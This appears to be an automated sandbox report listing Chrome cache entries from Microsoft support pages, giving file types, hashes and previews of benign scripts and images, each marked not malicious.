Preview:	/.. Adobe Visitor API for JavaScript version: 4.4.0. Copyright 2019 Adobe, Inc. All Rights Reserved. More info available at https://marketing.adobe.com/resources/help/en_US/mcvid/./.'use strict';var e=function(){function N(d){return(N="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(f){return typeof f}:function(f){return f&&"function"==typeof Symbol&&f.constructor===Symbol&&f!==Symbol.prototype?"symbol":typeof f})(d)}function O(d,f,g){return f in d?Object.defineProperty(d,f,{value:g,enumerable:!0,configurable:!0,writable:!0}):d[f]=g,d}function P(d,f,g){d=null==d?void 0:d[f];return void 0===d?g:d}function R(d,f){if(d===f)return 0;d=d.toString().split(".");.f=f.toString().split(".");a:{var g=d.concat(f);for(var c=/^\d+$/,k=0,m=g.length;k<m;k++)if(!c.test(g[k])){g=!1;break a}g=!0}if(g){for(;d.length<f.length;)d.push("0");for(;f.length<d.length;)f.push("0");a:{for(g=0;g<d.length;g++){c=parseInt(d[g],10);k=parseInt(f[g],10);if(c>k){d=1;break a}if(k>c){d=-1;break a}}d=0

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	175
Entropy (8bit):	4.68043398329258
Encrypted:	false
SSDEEP:	3:agWqLs3KOBmKL8ELDSzEfYZBAeOE8c/yCN9xGV9LH1CNILWAcELDlpKOBmKL8ELQ:QqtgLSH9xGf1OILWAfkgXe
MD5:	96F0C5B1219E39B8788028F5C17A5AD9
SHA1:	D6DCE0DE065B0D13905EAEDA0BA5C0DEA3D8F67C
SHA-256:	1FC2BCE2D46DF4565B8C488B22225CFE7ADB7C37CC9A542D4F85B61995B306CB
SHA-512:	057810FA0558506C6B8ABECB1A7A58FF61DA0609B3A5798BB42DE3A9B801CA0D8B20C4C1F9A250EE33D30492452CC5C4553332B16300408AA0C45B1515D4AF10
Malicious:	false
Preview:	'use strict';function AEMOnCookieConsentChangedCallback(a){}if("undefined"!=typeof WcpConsent&&null!=WcpConsent)WcpConsent.onConsentChanged(AEMOnCookieConsentChangedCallback);

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2824)
Category:	downloaded
Size (bytes):	2874
Entropy (8bit):	5.196998647096783
Encrypted:	false
SSDEEP:	48:9gqOZplvxm+DnZAKXJJRfhFSenR0waxOf5S6Yi29fJXWcE0129fJBBnfK5DxZ:ZOZvoknZr1P3tCOfV29v29zpIDxZ
MD5:	78C4311E4D7A1AFDE2EC6FB093FE40A2
SHA1:	FB9A1881E03ADF12A393759606FF384F847A52A8
SHA-256:	2CA909B3DA6E4A4FC7FD3C9DD490C4DB45435C995177AA5D7D154852EFD69E25
SHA-512:	8736EA1BD4C1DB34FEE9C3B71753D986FFD56129C12C3D3B3C41B920936C13DFFA59E887FC50A6D6AF33C74A9CAD1531FCCBD9620AE0C1AE2FA3C8BF455465AE
Malicious:	false
URL:	https://support.microsoft.com/js/SilentSignIn.Main.min.js?v=LKkJs9puSk_H_Tyd1JDE20VDXJlRd6pdfRVIUu_WniU
Preview:	!function(){"use strict";var t,n,e,o;function i(t,n){var e,o,i,r;"object"==typeof window.top.analytics&&(t.behavior=null===(o=null===(e=window.top)\|\|void 0===e?void 0:e.oneDS)\|\|void 0===o?void 0:o.Behavior[n],null===(r=null===(i=window.top)\|\|void 0===i?void 0:i.analytics)\|\|void 0===r\|\|r.captureContentUpdate(t))}(e=t\|\|(t={})).None="None",e.EU="EU",function(t){t[t.Undefined=0]="Undefined",t[t.MinorWithoutParentalConsent=1]="MinorWithoutParentalConsent",t[t.MinorWithParentalConsent=2]="MinorWithParentalConsent",t[t.Adult=3]="Adult",t[t.NotAdult=4]="NotAdult",t[t.MinorNoParentalConsentRequired=5]="MinorNoParentalConsentRequired"}(n\|\|(n={})),function(t){t.Impression="IMPRESSION",t.SignIn="SIGNIN"}(o\|\|(o={}));var r,l=function(){return l=Object.assign\|\|function(t){for(var n,e=1,o=arguments.length;e<o;e++)for(var i in n=arguments[e])Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i]);return t},l.apply(this,arguments)};function d(){var t=window.top.document.getElementById("iframeOP");return"

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 142367
Category:	dropped
Size (bytes):	49911
Entropy (8bit):	7.994516776763163
Encrypted:	true
SSDEEP:	1536:vr2T/J/l2R6ACJVMQPYmlBXTm12g9bcKo0y0ci:CzJ/lG2KQzBjm1b3ci
MD5:	9B96CC09F9E89D0334BA2FBC22B5197A
SHA1:	B5FE69F39E9F61FEF88DF794F02DC4F4086E2592
SHA-256:	E6331018533143C411BAE25326AB52FCED541C48674551AEA78E750855BDCD1D
SHA-512:	2BDD71A34A7D6172AD4B7B6CF077A891D6266C148000EEF8345E2343E6C21ED8783B2EA328EF3BF7176462A3CA575D2D6D4B55A07138CFD1B02900C95F61077D
Malicious:	false
Preview:	...........m[.8.0........OL....;w.....a.....\N.......h.r~........=........,..JU.......T~.l..?..y..2.X9.\|xvP9...TN.......?.....qe.OE.~Gn,.J.T....0......r..#.V&Qx_I.De.._.8.+S?N..HL..J......%O..S........(=.gO.\|.T.0......6.. ..y....x....8..p.T"1...\|$.Cz..V.D%.Ie.F....^."..5....c...?..T8..._..b.gs.4....S]kDZ..7.J.V..l}..?.....c...g.A...8.......8.VB......^..f..O.... ...`...H.{.$. OP..S..AC.gVE.I8..).-U.....R...A..%.T[...Fc{..49..If...y.'w.Q}..oz..v.....W...pp..%..G.+.r:.A......[.:..s.?U......_............k.y0.U....+I5..0.>.Q%.".w.....O....5w..;.;.>..mr.k53r.......k.0.I.<.D......d&...c..jhE..zx.]....y\|W....i...`.. .k.P...@.Uq.\;..1............z\|.O..Y5..........XtR,....R...k3..<..\.2.>.;T..$...kj.5-.i?/..YH`!jb..Z..=.&.L..F...([..y....K5pzQ.>i.1.......0..P...@...L.".n.x..Cj?..w.:+...n..4..H.. .....S.....h....8....v.l.[M.0..q..c;.....0..*.8.......l.TM..n "..km..S.<.T..].k.+1.....P.V...4-W.C....0-/.S;.w......K.z+...DZ....=q.E.@ .Dv.z...@.d.#tE...

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (507)
Category:	dropped
Size (bytes):	1570
Entropy (8bit):	4.964227241339809
Encrypted:	false
SSDEEP:	24:3jp9cCfqk3rG/OcXBFBStOcf5W6UMyKyV/8RR5Lh/NgQQRWVvEwMvghoQ2aM0/vD:3jhlzcjbchWGyd58lRQweHQ24glA+J1k
MD5:	799F7DC6C3727B83CEC920A004E6B985
SHA1:	8E24FEC9E4F64001BBA989029FFC3E9C7C703820
SHA-256:	1CAFEC3DDD8B49D61D8A6206D3D7ABBE4833DA0AD852CA3295DAF137242AC1D3
SHA-512:	4834456FF369DF119CCE262439E64F4E7D9542FACB32615B0D4998FF1083EB9ADCCFB3D1D62F09BAD8F35482914B265D0149F7FDB921C1718DE19CD595F79765
Malicious:	false
Preview:	'use strict';const closeButtonStickyBanner=document.querySelector(".sticky-banner-close"),stickyBannerElement=document.querySelector(".sticky-banner"),chatBotInSticky=document.querySelector(".chat-bot");.stickyBannerElement&&(closeButtonStickyBanner&&(closeButtonStickyBanner.addEventListener("click",function(){hideStickyBanner();const a=document.querySelector(".click-start");a&&a.classList.remove("d-none")}),closeButtonStickyBanner.addEventListener("keydown",handleKeyDown)),onScrollHideBanner,window.addEventListener("scroll",onScrollHideBanner),window.addEventListener("resize",()=>{setTimeout(()=>onScrollHideBanner(),600)}));.function onScrollHideBanner(){var a=document.getElementById("uhf-footer");let c=document.querySelector(".closebtnclicked");var b=stickyBannerElement.offsetHeight;document.querySelector(".fixed-back-to-top").style.bottom=b+"px";if(a){b=document.getElementsByClassName("sticky-banner-hide");a=a.getBoundingClientRect();var d=window.innerHeight;c\|\|(a.top<=d&&0<=a.botto

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	20879
Entropy (8bit):	7.950262750419023
Encrypted:	false
SSDEEP:	384:46Xz3aJorn/4FQhJt9fr1Ql3LyjJELj+Se9ouEkcQb0We77nGwIZOYjHmvGSZpV:4CaurgGn9fr1Q1GGLjVmsCa77GwIZfjM
MD5:	133A012311EC0C7DC8900D41BFFE18E2
SHA1:	A8344E3CB54AC529652411C13DE0FC9F18C72418
SHA-256:	BC07BB9CDAECB6BB882CCD19058DD50E6376C9D0D4DAEB5576949CF80C1E5DF0
SHA-512:	84AAE06C3C881FB388A4EB69478C3A15CCA7DDBC018C3D8942B772F9D30790322AC4398EF7C9F147BE3FFF14F63F184F3AD4BBB6666785704DB47DA43F1DC175
Malicious:	false
URL:	https://support.content.office.net/en-us/media/4470ec79-00a3-4730-afac-81a256ffb26b.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...Q$IDATx.....Q.s..x...................1`G..2^y..<...p.k..M..:.'OJ.L.nU._DGw..[U...2S....o~....W..i...5c...,...x5v...5..Yu...u{.j..[K...J.G\...M.=I.e....5......!........oms.\|r....Hd..e.(.,7...Qc.z.>\|e.t.E...s..V.rJ.C.......AEI...Q.S.1..y..N.}R=.s.j.Z. .^..R.. ....T.....QV..H.gT.....N.4.<...H.&^V-...+..FHar...3.Wt.F....h.....}.fY....R.K..~,.N.U.TN.,..}n.W\.."..8....eE.(o...\|.........cm.FDi..].9N.p.>j..%.fY7F...........p..q.......z..k...#..g.l.D..xi.;...&.....P.k....9=&.F~.._...."...V7.L...:.....Q..NX.j\Q...1KZA%....6P.VG......e<m.B.m..H!5r....Bg.h...f.';...y=...X.:B8i.R..Kz.U.t.&.ZB...(aZ....".!..F.T`w..&.Y.s.......\|..6ZDi.D..D...RI..:wd+./G:&......Z.Z.m.).....5@..N.......X[no....5..k3.Q1Q..5!.\.&p..^.1MR\|.M..d.r.....s..WJ...=s0.N....`.......V.S,Z5....#..T4...B....n.DF.NZ...d....&..Mk..........N....D[..yJ.I:NE..*.j..M..T.2-iZ.E..$.F.V.;......R..X.'g..v+k.....C.

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	21727
Entropy (8bit):	5.232101618468897
Encrypted:	false
SSDEEP:	384:xYzlQeau9P3TI8NCUiLFv1uP4ZVSc2uQyea+eHbJjaTbz7NiCR6Rv98NOsQzOiL/:xYhQel3TI2ChBt2OVSZuQoJjG7N1R6Rp
MD5:	C49C34EE38F103BCB82F58DED32F57DB
SHA1:	757C8CE6D92102903F636C20B70E414A5E9A2E20
SHA-256:	BDBBDA3BD97031FF5BCB76B427D2ECD9C4617922C3860F662E51FB18AC5CC591
SHA-512:	5C5307784F8B7D3CF479154CADF3525D1D1BF05216D72BB32ABEF6E25183E26FB4D84DB7B14AA2868B11F54E23284D02BFE0309EE4D560AC79A507F762DBC219
Malicious:	false
URL:	https://support.microsoft.com/js/feedback.js?v=vbvaO9lwMf9by3a0J9Ls2cRheSLDhg9mLlH7GKxcxZE
Preview:	/! Copyright (C) Microsoft. All rights reserved. /....(function ($) {...'use strict';...(function smartFeedback() {....var activatedStarRatingValue = null;....var activatedStarRatingLabel = null;....var userSelectionIsInfoHelpful = null;......var checkBoxSelected = false;....var starRatingSelected = false;....var verbatimEntered = false;....var $spanDisplayElementsForStarCheckbox = $(".translationRatingStar, .checkboxTick");....var $extendedFeedbackStarCheckboxElements = $(".translationRatingStar, .articleExperienceOptionsCheckbox");......var $extendedFeedback = $("#extendedFeedback");....var $extendedFeedbackForm = $("#extendedFeedbackForm");....var $feedbackWrapper = $('#supWrapperToPreventFeedbackFlickering');....var $starRatingDescription = $("#starRatingDescription");....var $supDisableStickyFeedbackButton = $("#supDisableStickyFeedbackButton");....var isEnableStarRating = $feedbackWrapper.data("enableStarRating") ? $feedbackWrapper.data("enableStarRating").toLowerCase() === "tr

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65456)
Category:	dropped
Size (bytes):	1223686
Entropy (8bit):	5.470883113843709
Encrypted:	false
SSDEEP:	24576:8uEPjek2NG0LmOkLrZ+DOR+rO0sOO322khnEZs4BeQ/7W6fC71zwFgopM9eiaYcn:8uEPj+NG0LmOkLrZ+DOR+r+OO322khnk
MD5:	261012FF1027F9B1F28717BEA40973F6
SHA1:	885F5D7A571E165EEA0E09BA86C16042D697AA6B
SHA-256:	1F586745BEC9A6372D87011A3F110AFA51E3F72835E7A723D2E75544BFEFBBE1
SHA-512:	88C3706F6E5A1392D49FCBBD3B8B33D5A522031427621275387BB7764E40B4AE1980ED5C3297EAC4E953EE91AA131AF69BB3DE816101675B907A705E5E2E2213
Malicious:	false
Preview:	/! For license information please see Support.Main.min.js.LICENSE.txt /.!function(){var e,t={7046:function(e,t){var n={parseBuffer:function(e){return new r(e).parse()},addBoxProcessor:function(e,t){"string"==typeof e&&"function"==typeof t&&(i.prototype._boxProcessors[e]=t)},createFile:function(){return new r},createBox:function(e,t,n){var r=i.create(e);return t&&t.append(r,n),r},createFullBox:function(e,t,r){var i=n.createBox(e,t,r);return i.version=0,i.flags=0,i},Utils:{}};n.Utils.dataViewToString=function(e,t){var n=t\|\|"utf-8";if("undefined"!=typeof TextDecoder)return new TextDecoder(n).decode(e);var r=[],i=0;if("utf-8"===n)for(;i<e.byteLength;){var a=e.getUint8(i++);a<128\|\|(a<224?(a=(31&a)<<6,a\|=63&e.getUint8(i++)):a<240?(a=(15&a)<<12,a\|=(63&e.getUint8(i++))<<6,a\|=63&e.getUint8(i++)):(a=(7&a)<<18,a\|=(63&e.getUint8(i++))<<12,a\|=(63&e.getUint8(i++))<<6,a\|=63&e.getUint8(i++))),r.push(String.fromCharCode(a))}else for(;i<e.byteLength;)r.push(String.fromCharCode(e.getUint8(i++)));return

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10933)
Category:	dropped
Size (bytes):	10978
Entropy (8bit):	5.113898622156223
Encrypted:	false
SSDEEP:	192:fhsrAxRhWsJlXOeZTxB2Q3os25mPZT8u4wtVVAkhSOWzaVBmdcYZ:lJlvZTjv3os25mPF4wtbAkhSOWmjQc8
MD5:	81C98606FDCF5261F4626856A3A920A6
SHA1:	535E11D6D16FFC17316EFB6B1EA553335DE5F2A0
SHA-256:	6D774AED5BE6E9D53DB8DF5432FB7E6642E90BB1315F49E63FE6FF4340ECC156
SHA-512:	EE28BED0C8E277EDDECF0055AA8D3BF1FCE966E5352F2401C7E587487029282CDF9EBEAA6B1611992F4A331029EF708876331244C4A395047756D7F526F4C653
Malicious:	false
Preview:	!function(){"use strict";var t="click",e="ocHidden",n="supCardControlCarouselDisabledButton",o=".supCardControlCarouselPrevButton",i=".supCardControlCarouselNextButton",r="".concat(o,", ").concat(i);function a(t,e){$(t).children(r).toggleClass(n,!e)}var s=".supCardControlContainer",l=".supCardControlCard",c=".heroCardControlCard";function u(){var t=this.querySelector("div.videoContainer");if(t){var e=t.querySelector("div.supCardControlImageContainer");e&&e.addEventListener("click",(function(){var e=t.querySelector("div.cardControlCarouselVideoArea");if(e){var n=e.querySelector("universal-media-player");n&&(e.removeAttribute("hidden"),n.play())}}))}}function d(t){$(t).on("setPosition",(function(t,e){var n,o=e.$dots;(null===(n=e.options)\|\|void 0===n?void 0:n.slidesToShow)<e.slideCount?o.show():o.hide()}))}function h(t,e){t&&(t.style.backgroundImage=""===e?"none":"url(".concat(e,")"),t.classList.add("heroCarouselSection"))}function f(t,e,n){var o=t.find(n);if(o.length){var i="focus"===e.t

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30637)
Category:	downloaded
Size (bytes):	30689
Entropy (8bit):	5.2772011788579976
Encrypted:	false
SSDEEP:	768:12o2k0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:1Fh0S0/ks2JdImYFcw662A86vzyR
MD5:	2E588806E1E8D448863AD309DA157830
SHA1:	EE81E8B66D1922627A8942A718DDDB7C118330EF
SHA-256:	C4ED0055730356F2162754A66573B41DCB96BF6E9648AAB63ACF5D81DA80A6EC
SHA-512:	90904F7F2143889D2DC1DF031B51A0DE2558352571E91067A529CCE089CC835A1DC5D0FC6CE6538CA7A8F1829EC3C40DE4176D70DA47FFED26A154557B642892
Malicious:	false
URL:	https://mem.gfx.ms/meversion?partner=Windows&market=en-us&uhf=1
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"windows","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":true,"graphinfo":{"graphclientid":"7eadcef8-456d-4611-9480-4fff72b8b9e2","graphscope":"user.read","graphcodeurl":"https://login.microsoftonline.com/common/oauth2/v2.0/authorize","graphredirecturi":"https://amcdn.msftauth.n

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	20946
Entropy (8bit):	7.93232536946356
Encrypted:	false
SSDEEP:	384:ecpgK1ekapmcRcYDw6SaYAwQTniYPMalqQm6vkoP9njpqNT:eKjUkapAsw6C9ePM2qQm6vkoFnwT
MD5:	68B6034D22E6083CF2592BF4B8B71F0E
SHA1:	0981B22AF5F2BF930794557717FF7C7F4FF563FF
SHA-256:	56E5D47C342207184BE9DE6E3CF06CF26C32B34EE799B3ACC95EBEEEEFA5484A
SHA-512:	3CDA6510769E8EE427103B1D76A0035E2A3E62C4EF0E789DBC28969B12F2DF2C1F7E7652FDF9CC99C7C086CF2764A19520D15A5FED86ECC5CAB9D9F77D534E93
Malicious:	false
URL:	https://support.content.office.net/en-us/media/9e557d93-f803-44df-a274-1282d542cf63.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...QgIDATx....nEy....j.%bU.X..n^......Im..M."Z...+hU...m.e.....A.FQ.m......D....ELTD...Uo}...>.\|3....v....y..gf.:.?.yf..n.m..a........+.~..J u..}.k.........:;v.P......qM.c;.1.S..j..@v....O...c.@.....5Z.P.E{...P.(.......PvvQ..... .IGj...U.:}.#..Xghj.C.MQ...Kua...)G,4]..?.........#.......w.Ti'.Vy....S....%._).'...J...%.u\.R.Oo.R,p......"Y....N:V.P.R.W......O..Pk...n......Z.....).....HVc.Z.M....H....X......5....$....p......".>...<U...Sc.\|.K...Q.NR...k...k...F...).....H...=.....+.zj(....]/5.\.........).....H...\.@.;.\|.......I.&5.'.(6.cTz^.....c.r...r....k.)s.b..<.#......I.1R....k..6........R.d....r.]...NT].H.....D.#%.N..X.......7.t,..z.;cS.p].f....E-...6.#......IuG...p..c[.g.`..v..R1V...J.9.J... ..HqIw.NS..........3.G..pI.+p.....#.N.......Gp....).....Hf.H..1.#.4..2r.f....t..;.Z.7W........".=1d...^.....M ..I..T...../.t.T................_JLz)......{..hFJ...E..t9.).WaXj&

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2674)
Category:	downloaded
Size (bytes):	2728
Entropy (8bit):	5.253272384445131
Encrypted:	false
SSDEEP:	48:M1wQmQqQNrfAI4dz2eLNBxROk2oDZ8nVlnQiOk50NQclnmlnmZ5flnqlnuln5jBN:emQjNj4t2eLNgsdiQj+RacmVYU57vzKO
MD5:	468D4ACC570CFFC7101AC8A63514AD31
SHA1:	6983E89B6EC798B5B8C2B3B76D9311808437B572
SHA-256:	B4B342F2025799CA602A75590B324E7493B0903726720BCE4CA793207C83255C
SHA-512:	9042A219E8511FF281B9F680B3577CE3EAE29E881F24BE1D2B46C89D1F0013E30AA890C1A0181FF83975E125F62C0C6E896D3B8515067221143D9A3290B42865
Malicious:	false
URL:	https://support.microsoft.com/js/MeControlCallout.Main.min.js?v=tLNC8gJXmcpgKnVZCzJOdJOwkDcmcgvOTKeTIHyDJVw
Preview:	!function(){"use strict";var t,e,n=function(t){try{return sessionStorage.getItem(t)}catch(t){}return null};!function(t){t.EXPANDED="meControlAccountSelectorExpanded",t.COLLAPSED="meControlAccountSelectorCollapsed",t.SWITCHTYPE="meControlSwitchAccountType",t.SWITCHMSA="meControlSwitchMSAAccount",t.SWITCHAAD="meControlSwitchAADAccount"}(t\|\|(t={})),function(t){t.REMOVE="teachingCalloutRemove",t.SHOWN="teachingCalloutShown",t.TIMEOUT="teachingCalloutTimeout"}(e\|\|(e={}));var o,i,a=$("#meControl"),l=$("#smcTeachingCalloutPopover"),c=$("#teachingCalloutDismiss"),r="teachingCalloutShown";function d(t,e){var n,o={isAuto:!1,content:{contentId:e},behavior:t};null===(n=window.analytics)\|\|void 0===n\|\|n.captureContentUpdate(o)}$((function(){l&&l.length>0&&(function(t,e){if(t.length&&e.length){var n=t.offset().top;i=window.setInterval((function(){var o=e.offset().top;t.offset({top:n+o})}),15)}}(l,a),window.document.addEventListener("displayTeachingCallout",(function(t){try{if(null===n(r)&&null!=t.det

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (503)
Category:	downloaded
Size (bytes):	558
Entropy (8bit):	4.98634955391743
Encrypted:	false
SSDEEP:	12:c83DOkFYerjD6tD7fgu1M+WqQRxsZAsDFYAWCyQPO:cmZr6t/zpeT/oWCyaO
MD5:	A3BC5418F2834309CE2918B15F3B8EEA
SHA1:	62BA2712C6D4960F1057E103F6E1F3C95F2C701B
SHA-256:	B2B62643A7C4FE4A4E12934AD819F0293CC00181B78D8091AFFFF3617CEB96B1
SHA-512:	460E22E36E93BEC194D00D47754108539D2E54FF59D4293EEC25463BC3D642879C10D9BBFD881BBE5EC244819F325C422B6D7A7504000BBCE432E4D2A08FB58B
Malicious:	false
URL:	https://support.microsoft.com/js/shimmerExperiment.Main.min.js?v=srYmQ6fE_kpOEpNK2BnwKTzAAYG3jYCRr__zYXzrlrE
Preview:	!function(){"use strict";function e(e){return document.querySelectorAll(e)}function t(e,t){e.remove(),t.style.removeProperty("display")}window.addEventListener("load",(function(){var o,r=e(".ocpSectionLayout .ocpSection"),n=e(".ocpSectionLayout .shimmer-effect");if(r.length===n.length)for(var i=0;i<n.length;i++){var c=(o=n[i],Number(o.getAttribute("shimmer-delay")));setTimeout(t,c,n[i],r[i])}else n.forEach((function(e){e.remove()})),r.forEach((function(e){e.style.removeProperty("display")}))}))}();.//# sourceMappingURL=shimmerExperiment.Main.min.js.map

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	25084
Entropy (8bit):	7.954629745011792
Encrypted:	false
SSDEEP:	384:z4b+mWMn+0y7Pg/1ZG7QBkT1ptdZXWVTTaGOKPKb3BZE3SDL0Fkx1qEPNugrtRPI:E+5Mn34PglkT9XICcPKb3Bh0e5tQT
MD5:	9AA997545CAD62F24960E39B773AE81C
SHA1:	3EBF01E3B3630F127309F816F13FF86B94798E07
SHA-256:	BC5E9528086858FD7BFF758A1B0AE0D559A9930E279ECDF4955572B6AD1E53EA
SHA-512:	4B2572DEA6B5C777AF39359095D97EB8078B3B252D4A70191837BF5C641B860CD4AF56719B3D96E45CBEBB13465625FD5DD6E66BC03F009487FEBEAF5D9F7169
Malicious:	false
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...a.IDATx..y..Eu...u}.@1.....D...IX..0,A..Fc.`.,.D..H .eUX.....E..X.H...1q......(....l...r.!.....rz.....yf......9.{6z.......h....__......r.S.C..F...T.o...<.9.M..$].6.:...9..vSrN.B.2.Ug....x..rU6i>zY..C.lK.._.v.H.......9.S..U.]T.v..Y8..LJ...tl.C....m(...&.(QpAP.x\".._.G..$.L..)T[.."j$...}...@>z.n-..X.U..45&.S.....N.m\...m"I"...\.q.\|M.6#.............Q....."...e..m.6..f.....Sj...cK+DH...+]..".......i..Q.......xS.24@....C".$b.]'Y...<J.$.jY7J........i..0..1..........y./)Db.@_@.m.X\|..u..f..w..C@.\{.mc..u&....5k..`.j.ZO7.L...7.....R..zxp...B...Y....&!#..v...m[.\\|!}....B%-..K!U..cjj..Z...^...(.J....LHYK.'.@r.....d[..Q>..[VJ..b...H5H-....h.9..K.;.1..#.)fy.........r..B.X.L.)..PV$=..:.6!.B..Z.\|...).....%@..IK.G....'ci....(.-.......R.....5W..]..4.......2[..m...9..g...w.....p.4t..... ..(.je...r..R....{E.y.Xhr..U.>.H....5}.,Q.4S.$..I...R..` ....=R.#.-Y.}l......U.W...

Chrome Cache Entry: 361

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	89476
Entropy (8bit):	5.2896589255084425
Encrypted:	false
SSDEEP:	1536:AjExXUqrnxDjoXEZxkMV4SYSt0zvDD6ip3h8cApwEjOPrBeU6QLiTFbc0QlQvakF:AYh8eip3huuf6IidlrvakdtQ47GK1
MD5:	DC5E7F18C8D36AC1D3D4753A87C98D0A
SHA1:	C8E1C8B386DC5B7A9184C763C88D19A346EB3342
SHA-256:	F7F6A5894F1D19DDAD6FA392B2ECE2C5E578CBF7DA4EA805B6885EB6985B6E3D
SHA-512:	6CB4F4426F559C06190DF97229C05A436820D21498350AC9F118A5625758435171418A022ED523BAE46E668F9F8EA871FEAB6AFF58AD2740B67A30F196D65516
Malicious:	false
URL:	https://support.microsoft.com/lib/jquery/dist/jquery.min.js?v=9_aliU8dGd2tb6OSsuzixeV4y_faTqgFtohetphbbj0
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"o

Chrome Cache Entry: 362

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (514)
Category:	downloaded
Size (bytes):	941
Entropy (8bit):	5.237366916956353
Encrypted:	false
SSDEEP:	24:IlxCSV6Pfo4ydsethmnUitaKKklq93+TEDzD:IlQ3sdbtKUitaKHCsEDzD
MD5:	6FC8AFFCA0D3B2C5BDC78E27C9425BCE
SHA1:	1348892B3663F4496C35732DDC4D853452F48054
SHA-256:	531C0795866BF6D1BD0E44A4239CFFB3F0FAC07CC911BEA226ADF84E9C3DDAA7
SHA-512:	B2CD1CFD5711BDF37C435EF0E6764C28A233184CE6BA3AE097441FE2A020B6E172E6DB335F4266DDC98788E86C0CF2145E5B09A125FFA4C166AFCA99DCF2004E
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/areaheading/v1/areaheading/clientlibs/site.min.ACSHASH6fc8affca0d3b2c5bdc78e27c9425bce.js
